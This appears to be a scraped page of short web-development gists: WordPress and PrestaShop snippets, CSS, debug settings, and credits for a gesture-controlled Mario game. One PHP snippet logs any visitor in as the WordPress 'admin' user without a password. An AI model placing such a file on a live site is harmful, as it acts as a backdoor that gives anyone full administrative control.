This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Utilizamos cookies propias y de terceros para analizar nuestros servicios y mostrarte publicidad personalizada con base en un perfil elaborado a partir de tus hábitos de navegación. Puedes aceptar todas las cookies pulsando el botón "Aceptar" o rechazar su uso haciendo aquí. Para más información, consulta nuestra <span onclick="window.open('https://www.tarotfiable.tel/informacion-legal/#politica-cookies')" style="cursor:pointer;color:#fff;">Politica de Cookies</span> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//poner en header.tpl antes de </head> | |
{if $page_name == 'product'} | |
<link rel="canonical" href="{$link->getProductLink($smarty.get.id_product, null, null, null, $id_lang, null, 0, false)}" /> | |
{/if} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FullScreenMario by JoshuaKGoldberg | |
http://www.uta.edu/utari/acs/ASL_site/Homepage/Misc/Mario/index.html | |
handtrack.js by Victor Dibia | |
https://github.com/victordibia/handtrack.js/ | |
Gesture controls integration to Mario game by Miquel Camps @vivirenremoto | |
Disclaimer | |
Mario, Super Mario Brothers, and all associated games and media are property of Nintendo and/or Nintendo of America Inc., and are protected by United States and international copyright, trademark and other intellectual property laws. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
require('wp-blog-header.php'); | |
$user_login = 'admin'; | |
$user = get_userdatabylogin($user_login); | |
$user_id = $user->ID; | |
wp_set_current_user($user_id, $user_login); | |
wp_set_auth_cookie($user_id); | |
do_action('wp_login', $user_login); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
define('WP_HOME', 'https://test.test/'); | |
define('WP_SITEURL', 'https://test.test/'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ini_set('display_errors', 1); | |
ini_set('display_startup_errors', 1); | |
error_reporting(E_ALL); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter('wp_sitemaps_enabled', '__return_false'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@media only screen and (min-width: 480px){ | |
.products .product img{height:556px !important;} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* seo canonical problem */ | |
function yoast_seo_canonical_change_post( $canonical ) { | |
if ( !is_single() ) { | |
return $canonical; | |
} | |
global $post; | |
return get_permalink($post); | |
} | |
add_filter( 'wpseo_canonical', 'yoast_seo_canonical_change_post', 10, 1 ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// añadir marca de agua en las imagenes pendientes al guardar un post | |
function post_after_update($post_id) | |
{ | |
file_get_contents(site_url('/watermark.php')); | |
} | |
add_action('save_post', 'post_after_update'); |